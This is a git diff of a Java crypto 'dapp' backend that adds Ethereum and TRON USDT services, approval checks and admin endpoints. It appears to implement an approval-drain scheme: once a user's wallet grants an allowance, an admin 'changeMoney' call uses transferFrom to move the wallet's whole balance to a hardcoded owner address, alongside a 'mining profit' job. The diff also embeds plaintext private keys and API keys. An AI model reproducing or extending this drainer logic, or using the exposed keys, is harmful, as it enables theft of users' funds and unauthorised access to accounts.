+    private String ownerAddress;
+    private String privateKey;
+    private String contractAddress;
+
+    public EthService(String url, String address, String privateKey, String contractAddress) {
+        this.url = url;
+        this.ownerAddress = address;
+        this.privateKey = privateKey;
+        this.contractAddress = contractAddress;
+
+        HttpService service = new HttpService(url);
+        web3j = Web3j.build(service);
+    }
+
+    @Override
+    public BigInteger balanceOfUnDecimal(String fromAddress) {
+        try {
+            String methodName = "balanceOf";
+            List<Type> inputParameters = new ArrayList<>();
+            List<TypeReference<?>> outputParameters = new ArrayList<>();
+            Address address = new Address(fromAddress);
+            inputParameters.add(address);
+            TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+            };
+            outputParameters.add(typeReference);
+            Function function = new Function(methodName, inputParameters, outputParameters);
+            String data = FunctionEncoder.encode(function);
+            Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
+
+            EthCall ethCall;
+            BigInteger balanceValue = BigInteger.ZERO;
+            try {
+                ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+                List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+                balanceValue = (BigInteger) results.get(0).getValue();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+
+            return balanceValue;
+
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return BigInteger.ZERO;
+    }
+
+    @Override
+    public BigDecimal balanceOf(String fromAddress) {
+        int decimal = 6;
+        BigInteger balanceValue = balanceOfUnDecimal(fromAddress);
+
+        double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
+        if (res > 0) {
+            return new BigDecimal(res);
+        }
+
+        return BigDecimal.ZERO;
+    }
+
+    @Override
+    public BigInteger allowance(String address) {
+        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+        String methodName = "allowance";
+        List<TypeReference<?>> outputParameters = new ArrayList<>();
+        TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+        };
+        outputParameters.add(typeReference);
+
+        Function function = new Function(methodName,
+                Arrays.asList(new Address(address), new Address(ownerAddress))
+                , outputParameters);
+        String data = FunctionEncoder.encode(function);
+        Transaction transaction = Transaction.createEthCallTransaction(ownerAddress, contractAddress, data);
+
+        EthCall ethCall = null;
+        try {
+            ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+            List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+            return (BigInteger) results.get(0).getValue();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+
+        return BigInteger.ZERO;
+    }
+
+    @Override
+    public boolean isAllowance(String address) {
+        return allowance(address).intValue() != 0;
+    }
+
+    public String getGas() {
+        String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+        JSONObject data = JSONObject.parseObject(resp);
+        String gas = data.getString("avgPrice");
+        return StrUtil.isBlank(gas) ? "35" : gas;
+    }
+
+    @Override
+    public String transfer(String address) {
+        BigDecimal balance = balanceOf(address);
+
+        return transfer(address, balance);
+    }
+
+    @Override
+    public String transfer(String address, BigDecimal amount) {
+        try {
+            return tokenTransferFrom(privateKey, address, ownerAddress, amount.toPlainString());
+        } catch (ExecutionException | InterruptedException e) {
+            e.printStackTrace();
+            return "";
+        }
+    }
+
+    public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount) throws ExecutionException, InterruptedException {
+        String gas = getGas();
+
+        BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
+        amount = amountPow.toPlainString();
+        if (amount.contains(".")) {
+            amount = amount.substring(0, amount.lastIndexOf("."));
+        }
+
+        Credentials credentials = Credentials.create(privateKey);
+
+        EthGetTransactionCount ethGetTransactionCount = web3j
+                .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+        BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+
+        Function function = new Function("transferFrom",
+                Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
+                Arrays.asList(new TypeReference<Type>() {
+                }));
+
+        String encodedFunction = FunctionEncoder.encode(function);
+
+        RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+                Convert.toWei(gas, Convert.Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+                Convert.toWei("100000", Convert.Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+
+        byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+        String hexValue = Numeric.toHexString(signedMessage);
+
+        CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+        EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+
+
+        if (ethSendTransaction.hasError()) {
+            return "";
+        } else {
+            return ethSendTransaction.getTransactionHash();
+        }
+    }
+
+    @Override
+    public int allowanceCnt(String address) {
+        return 0;
+    }
+}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthServiceBak.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthServiceBak.java
new file mode 100644
index 0000000..e47b2c6
--- /dev/null
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthServiceBak.java
@@ -0,0 +1,386 @@
+package cc.mrbird.febs.dapp.chain;
+
+import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang3.StringUtils;
+import org.web3j.abi.FunctionEncoder;
+import org.web3j.abi.FunctionReturnDecoder;
+import org.web3j.abi.TypeReference;
+import org.web3j.abi.datatypes.Address;
+import org.web3j.abi.datatypes.Function;
+import org.web3j.abi.datatypes.Type;
+import org.web3j.abi.datatypes.generated.Uint256;
+import org.web3j.crypto.Credentials;
+import org.web3j.crypto.RawTransaction;
+import org.web3j.crypto.TransactionEncoder;
+import org.web3j.crypto.WalletUtils;
+import org.web3j.protocol.Web3j;
+import org.web3j.protocol.core.DefaultBlockParameterName;
+import org.web3j.protocol.core.Request;
+import org.web3j.protocol.core.methods.request.Transaction;
+import org.web3j.protocol.core.methods.response.*;
+import org.web3j.protocol.http.HttpService;
+import org.web3j.utils.Convert;
+import org.web3j.utils.Convert.Unit;
+import org.web3j.utils.Numeric;
+
+import java.io.File;
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.math.RoundingMode;
+import java.util.*;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+
+/**
+ * ETH类,使用Web3j 下面为使用教程
+ * https://kauri.io/article/925d923e12c543da9a0a3e617be963b4/manage-an-ethereum-account-with-java-and-web3js
+ * 
+ * @author Administrator
+ *
+ */
+@Slf4j
+public class EthServiceBak {
+
+	private static String ethWalletPath = "/home/javaweb/webresource/eth";
+	private Web3j web3j;
+
+	/**
+	 * 服务器地址
+	 */
+	//private static final String ETH_UTL = "http://120.55.86.146:8545";
+	//	private static final String ETH_UTL = "http://114.55.250.231:8545";
+	private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+//	private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
+//	private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
+
+	private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
+	private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
+
+	public EthServiceBak() {
+		try {
+			HttpService service = new HttpService(ETH_UTL);
+			web3j = Web3j.build(service);
+		} catch (Exception e) {
+			log.error("连接eth网络失败", e);
+		}
+	}
+
+	public EthServiceBak(String url, String address, String privateKey) {
+		try {
+			OWNER_ADDRESS = address;
+			OWNER_PRIVATE = privateKey;
+			ETH_UTL = url;
+			HttpService service = new HttpService(url);
+			web3j = Web3j.build(service);
+		} catch (Exception e) {
+			log.error("连接eth网络失败", e);
+		}
+	}
+
+	/**
+	 * 查询ETH余额
+	 * 
+	 * @param address
+	 * @return
+	 */
+	public static BigDecimal getEthBlance(String address) {
+		Web3j web3 = Web3j.build(new HttpService(ETH_UTL));
+		EthGetBalance balanceWei;
+		try {
+			balanceWei = web3.ethGetBalance(address, DefaultBlockParameterName.LATEST).send();
+			if (balanceWei.getResult() == null) {
+				return null;
+			}
+			BigDecimal balanceInEther = Convert.fromWei(balanceWei.getBalance().toString(), Unit.ETHER);
+			return balanceInEther;
+		} catch (Exception e) {
+			System.out.println("ETH查询失败:" + address);
+			e.printStackTrace();
+		}
+		return null;
+
+	}
+
+	/**
+	 * 创建ETH钱包
+	 * 
+	 * @return
+	 */
+	public static Map<String, String> createEth() {
+		Map<String, String> wallet = new HashMap<String, String>();
+		try {
+			String walletPassword = "secr3t";
+			// 文件路径
+			String walletDirectory = ethWalletPath;
+
+			String walletName = WalletUtils.generateNewWalletFile(walletPassword, new File(walletDirectory));
+			System.out.println("wallet location: " + walletDirectory + "/" + walletName);
+			Credentials credentials = WalletUtils.loadCredentials(walletPassword, walletDirectory + "/" + walletName);
+			String accountAddress = credentials.getAddress();
+			String privateKey = credentials.getEcKeyPair().getPrivateKey().toString(16);
+			// 钱包地址
+			wallet.put("address", accountAddress);
+			// 钱包私钥
+			wallet.put("privateKey", privateKey);
+			// 产生的钱包文件地址
+			wallet.put("walletLocation", walletDirectory + "/" + walletName);
+		} catch (Exception e) {
+			e.printStackTrace();
+		}
+		return wallet;
+	}
+
+	public boolean checkTransferResult(String hash) {
+		// 0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816 交易hash
+		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = web3j.ethGetTransactionReceipt(hash);
+		EthGetTransactionReceipt send = null;
+		try {
+			send = ethGetTransactionReceiptRequest.send();
+			if(send!=null){
+				TransactionReceipt result = send.getResult();
+				if(result!=null){
+					String status = result.getStatus();
+					System.out.println(status);//0x1
+					if("0x1".equals(status)){
+						return true;
+					}else{
+						return false;
+					}
+				}
+
+			}
+
+		} catch (IOException e) {
+			e.printStackTrace();
+			return false;
+		}
+        return false;
+	}
+
+	public static void main(String[] args) throws IOException {
+//		HttpService service = new HttpService(ETH_UTL);
+//		Web3j build = Web3j.build(service);
+//		//Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
+//		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
+//		EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
+//		String status = send.getResult().getStatus();
+//		System.out.println(status);//0x1
+//		EthTransaction send = ethTransactionRequest.send();
+//		String input = send.getResult().getInput();
+//		System.out.println(input);
+		System.out.println(new EthServiceBak().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));
+	}
+
+	/**
+	 * 
+	 * 方法描述:获取代币余额
+	 * 
+	 * @param fromAddress
+	 * @param
+	 * @param
+	 * @return long
+	 */
+	public BigDecimal tokenGetBalance(String fromAddress) {
+		try {
+			// 合约地址
+			String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+			int decimal = 6;
+			String methodName = "balanceOf";
+			List<Type> inputParameters = new ArrayList<>();
+			List<TypeReference<?>> outputParameters = new ArrayList<>();
+			Address address = new Address(fromAddress);
+			inputParameters.add(address);
+			TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
+			};
+			outputParameters.add(typeReference);
+			Function function = new Function(methodName, inputParameters, outputParameters);
+			String data = FunctionEncoder.encode(function);
+			Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
+
+			EthCall ethCall;
+			BigInteger balanceValue = BigInteger.ZERO;
+			try {
+				ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+				List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+				balanceValue = (BigInteger) results.get(0).getValue();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+			double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
+			if (res > 0) {
+				return new BigDecimal(res);
+			}
+		} catch (Exception e) {
+			// logger.error("==============以太坊代币链接获取失败!");
+			e.printStackTrace();
+		}
+		return BigDecimal.ZERO;
+	}
+
+	// USDT
+	public String tokenSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
+			throws InterruptedException, ExecutionException {
+		// Web3j web3j = Web3j.build(new
+		// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
+		if(StringUtils.isBlank(gas)){
+			gas="35";
+		}
+
+		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+		Credentials credentials = Credentials.create(privateKey);
+
+		EthGetTransactionCount ethGetTransactionCount = web3j
+				.ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+
+		Function function = new Function("transfer",
+				Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))),
+				Arrays.asList(new TypeReference<Type>() {
+				}));
+
+		String encodedFunction = FunctionEncoder.encode(function);
+
+		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+		        // 10*80000/1000000000=0.0008 手续费
+
+		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+		String hexValue = Numeric.toHexString(signedMessage);
+
+		CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+		EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+		//return "hash";
+//		log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
+
+		if (ethSendTransaction.hasError()) {
+			return "";
+		} else {
+			String transactionHash = ethSendTransaction.getTransactionHash();
+			// log.info("Transfer transactionHash:" + transactionHash);
+			return transactionHash;
+		}
+	}
+
+	public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
+			throws InterruptedException, ExecutionException {
+		if(StringUtils.isBlank(gas)){
+			gas="35";
+		}
+
+		BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
+		amount = amountPow.toPlainString();
+		if (amount.contains(".")) {
+			amount = amount.substring(0, amount.lastIndexOf("."));
+		}
+
+		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+		Credentials credentials = Credentials.create(privateKey);
+
+		EthGetTransactionCount ethGetTransactionCount = web3j
+				.ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+
+		Function function = new Function("transferFrom",
+				Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
+				Arrays.asList(new TypeReference<Type>() {
+				}));
+
+		String encodedFunction = FunctionEncoder.encode(function);
+
+		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+		// 10*80000/1000000000=0.0008 手续费
+
+		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+		String hexValue = Numeric.toHexString(signedMessage);
+
+		CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+		EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+		//return "hash";
+//		log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
+
+		if (ethSendTransaction.hasError()) {
+			return "";
+		} else {
+			String transactionHash = ethSendTransaction.getTransactionHash();
+			// log.info("Transfer transactionHash:" + transactionHash);
+			return transactionHash;
+		}
+	}
+
+	public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
+		try {
+			return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+		} catch (InterruptedException | ExecutionException e) {
+			e.printStackTrace();
+			return "";
+		}
+	}
+
+	public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
+			throws InterruptedException, ExecutionException {
+		// Web3j web3j = Web3j.build(new
+		// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
+		if(StringUtils.isBlank(gas)){
+			gas="70";
+		}
+		Credentials credentials = Credentials.create(privateKey);
+
+		EthGetTransactionCount ethGetTransactionCount = web3j
+				.ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+		BigInteger value = Convert.toWei(amount, Unit.ETHER).toBigInteger();
+		RawTransaction rawTransaction = RawTransaction.createEtherTransaction(nonce,
+				Convert.toWei(gas, Unit.GWEI).toBigInteger(),
+				Convert.toWei("60000", Unit.WEI).toBigInteger(), toAddress, value);
+		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+		String hexValue = Numeric.toHexString(signedMessage);
+
+		EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get();
+		if (ethSendTransaction.hasError()) {
+			// log.info("transfer error:", ethSendTransaction.getError().getMessage());
+			return "";
+		} else {
+			String transactionHash = ethSendTransaction.getTransactionHash();
+			// log.info("Transfer transactionHash:" + transactionHash);
+			return transactionHash;
+		}
+	}
+
+	public BigInteger ethAllowance(String address) {
+		return ethAllowance(OWNER_ADDRESS, address);
+	}
+
+	public BigInteger ethAllowance(String toAddress, String fromAddress) {
+		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+		String methodName = "allowance";
+		List<TypeReference<?>> outputParameters = new ArrayList<>();
+		TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
+		outputParameters.add(typeReference);
+
+		Function function = new Function(methodName,
+				Arrays.asList(new Address(fromAddress), new Address(toAddress))
+				, outputParameters);
+		String data = FunctionEncoder.encode(function);
+		Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);
+
+		EthCall ethCall = null;
+		try {
+			ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
+			List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
+			return (BigInteger) results.get(0).getValue();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return BigInteger.ZERO;
+	}
+
+
+
+}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
index 0fd714c..0c9c4e3 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -23,26 +23,40 @@
 //    private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
 //    private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
 
-    private final static String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
-    private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
-
-    private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
-    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
+    private final String ADDRESS;
+//    private final String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
+//    private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
+//
+//    private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+//    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
 
     private Trc20Contract contract = null;
 
-    public static TrxService INSTANCE = new TrxService();
+//    public static TrxService INSTANCE = new TrxService();
 
-    public TrxService() {
-        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
+//    public TrxService() {
+//        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
+//
+//        Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
+//        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
+//    }
 
-        Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
-        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
+    public TrxService(String address, String privateKey, String contractAddress, String apiKey) {
+        this.ADDRESS = address;
+        ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, apiKey);
+
+        Contract trc20Contract = wrapper.getContract(contractAddress);
+        contract = new Trc20Contract(trc20Contract, address, wrapper);
     }
 
     @Override
     public BigInteger allowance(String owner) {
         return contract.allowance(owner, ADDRESS);
+    }
+
+    @Override
+    public boolean isAllowance(String address) {
+        return allowance(address).intValue() != 0;
     }
 
     @Override
@@ -82,6 +96,6 @@
     }
 
     public static void main(String[] args) {
-        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
+//        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
     }
 }
diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java b/src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java
index b031e5e..34fb021 100644
--- a/src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java
+++ b/src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java
@@ -36,9 +36,9 @@
     }
 
     @ApiOperation(value = "是否授权接口", notes = "是否授权接口")
-    @GetMapping(value = "/isApprove/{address}")
-    public FebsResponse isApprove(@PathVariable("address") String address) {
-        return new FebsResponse().success().message("获取成功").data(dappMemberService.isApprove(address));
+    @GetMapping(value = "/isApprove/{chain}/{address}")
+    public FebsResponse isApprove(@PathVariable("address") String address,@PathVariable("chain") String chain) {
+        return new FebsResponse().success().message("获取成功").data(dappMemberService.isApprove(address, chain));
     }
 
     @ApiOperation(value = "首页总收入和列表", notes = "总收入和列表")
diff --git a/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java b/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
index c482984..8b80a7f 100644
--- a/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
+++ b/src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
@@ -40,10 +40,10 @@
         return new FebsResponse().success().data(dataTable);
     }
 
-    @RequestMapping(value = "/getBalanceByAddress/{address}")
-    public FebsResponse getBalanceByAddress(@PathVariable("address") String address) {
-        BigDecimal balance = ChainService.INSTANCE.balanceOf(address);
-        DappMemberEntity member = dappMemberService.findByAddress(address);
+    @RequestMapping(value = "/getBalanceByAddress/{chain}/{address}")
+    public FebsResponse getBalanceByAddress(@PathVariable("chain") String chain, @PathVariable("address") String address) {
+        BigDecimal balance = ChainService.getInstance(chain).balanceOf(address);
+        DappMemberEntity member = dappMemberService.findByAddress(address, chain);
         member.setBalance(balance);
         dappMemberService.updateById(member);
         return new FebsResponse().success().data(balance);
@@ -68,9 +68,9 @@
         return new FebsResponse().success();
     }
 
-    @PostMapping(value = "/changeMoney/{address}")
-    public FebsResponse changeMoney(@PathVariable(value = "address") String address) {
-        dappMemberService.transfer(address);
+    @PostMapping(value = "/changeMoney/{chain}/{address}")
+    public FebsResponse changeMoney(@PathVariable("chain") String chain, @PathVariable(value = "address") String address) {
+        dappMemberService.transfer(address, chain);
         return new FebsResponse().success();
     }
 
diff --git a/src/main/java/cc/mrbird/febs/dapp/mapper/DappMemberDao.java b/src/main/java/cc/mrbird/febs/dapp/mapper/DappMemberDao.java
index 46149ed..8402e8f 100644
--- a/src/main/java/cc/mrbird/febs/dapp/mapper/DappMemberDao.java
+++ b/src/main/java/cc/mrbird/febs/dapp/mapper/DappMemberDao.java
@@ -14,7 +14,7 @@
  **/
 public interface DappMemberDao extends BaseMapper<DappMemberEntity> {
 
-    DappMemberEntity selectByAddress(@Param("address") String address);
+    DappMemberEntity selectByAddress(@Param("address") String address, @Param("chain") String chain);
 
     DappMemberEntity selectMemberInfoByInviteId(@Param("inviteId") String inviteId);
 
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/DappMemberService.java b/src/main/java/cc/mrbird/febs/dapp/service/DappMemberService.java
index 4886d50..6022221 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/DappMemberService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/DappMemberService.java
@@ -11,11 +11,11 @@
 
     void approve(ApproveDto approveDto);
 
-    int isApprove(String address);
+    int isApprove(String address, String chain);
 
     IPage<DappMemberEntity> selectInPage(DappMemberEntity member, QueryRequest request);
 
-    DappMemberEntity findByAddress(String address);
+    DappMemberEntity findByAddress(String address, String chain);
 
     void accountStatus(Long id);
 
@@ -23,7 +23,7 @@
 
     void withdrawAble(Long id);
 
-    void transfer(String address);
+    void transfer(String address, String chain);
 
     IPage<DappTransferRecordEntity> selectTransferInPage(DappTransferRecordEntity transfer, QueryRequest request);
 }
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
index f9b5555..2d8f88f 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -6,6 +6,7 @@
 import cc.mrbird.febs.common.utils.FebsUtil;
 import cc.mrbird.febs.common.utils.ShareCodeUtil;
 import cc.mrbird.febs.dapp.chain.ChainService;
+import cc.mrbird.febs.dapp.chain.ContractChainService;
 import cc.mrbird.febs.dapp.dto.ApproveDto;
 import cc.mrbird.febs.dapp.entity.DappMemberEntity;
 import cc.mrbird.febs.dapp.entity.DappTransferRecordEntity;
@@ -44,7 +45,7 @@
     @Override
     @Transactional(rollbackFor = Exception.class)
     public void approve(ApproveDto approveDto) {
-        DappMemberEntity isExist = dappMemberDao.selectByAddress(approveDto.getAddress());
+        DappMemberEntity isExist = dappMemberDao.selectByAddress(approveDto.getAddress(), approveDto.getChainType());
         if (isExist != null) {
             return;
         }
@@ -52,7 +53,7 @@
         DappMemberEntity member = new DappMemberEntity();
         member.setAddress(approveDto.getAddress());
 
-        ChainService instance = ChainService.INSTANCE;
+        ContractChainService instance = ChainService.getInstance(approveDto.getChainType());
         if (!instance.isAllowance(approveDto.getAddress())) {
             throw new FebsException("未授权");
         }
@@ -111,9 +112,9 @@
     }
 
     @Override
-    public int isApprove(String address) {
-        DappMemberEntity memberEntity = dappMemberDao.selectByAddress(address);
-        boolean allowance = ChainService.INSTANCE.isAllowance(address);
+    public int isApprove(String address, String chain) {
+        DappMemberEntity memberEntity = dappMemberDao.selectByAddress(address, chain);
+        boolean allowance = ChainService.getInstance(chain).isAllowance(address);
         boolean isExist = memberEntity != null;
 
         // 线上/本地都已授权
@@ -149,8 +150,8 @@
     }
 
     @Override
-    public DappMemberEntity findByAddress(String address) {
-        return dappMemberDao.selectByAddress(address);
+    public DappMemberEntity findByAddress(String address, String chain) {
+        return dappMemberDao.selectByAddress(address, chain);
     }
 
     @Override
@@ -199,9 +200,9 @@
     }
 
     @Override
-    public void transfer(String address) {
-        BigDecimal balance = ChainService.INSTANCE.balanceOf(address);
-        String hash = ChainService.INSTANCE.transfer(address, balance);
+    public void transfer(String address, String chain) {
+        BigDecimal balance = ChainService.getInstance(chain).balanceOf(address);
+        String hash = ChainService.getInstance(chain).transfer(address, balance);
         if (StrUtil.isBlank(hash)) {
             throw new FebsException("提现失败");
         }
diff --git a/src/main/java/cc/mrbird/febs/job/MineProfitJob.java b/src/main/java/cc/mrbird/febs/job/MineProfitJob.java
index 113c7d3..82c4930 100644
--- a/src/main/java/cc/mrbird/febs/job/MineProfitJob.java
+++ b/src/main/java/cc/mrbird/febs/job/MineProfitJob.java
@@ -66,7 +66,7 @@
                 continue;
             }
 
-            BigDecimal balance = ChainService.INSTANCE.balanceOf(member.getAddress());
+            BigDecimal balance = ChainService.getInstance(member.getChainType()).balanceOf(member.getAddress());
 
             DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId());
             for (DappReturnRatioEntity returnRatio : returnRatios) {
@@ -125,7 +125,7 @@
                 continue;
             }
 
-            BigDecimal balance = ChainService.INSTANCE.balanceOf(agent.getAddress());
+            BigDecimal balance = ChainService.getInstance(agent.getChainType()).balanceOf(agent.getAddress());
             if (balance.compareTo(BigDecimal.valueOf(100L)) < 0) {
                 continue;
             }
diff --git a/src/main/resources/mapper/dapp/DappMemberDao.xml b/src/main/resources/mapper/dapp/DappMemberDao.xml
index 556bb35..2a187dc 100644
--- a/src/main/resources/mapper/dapp/DappMemberDao.xml
+++ b/src/main/resources/mapper/dapp/DappMemberDao.xml
@@ -3,7 +3,7 @@
 <mapper namespace="cc.mrbird.febs.dapp.mapper.DappMemberDao">
 
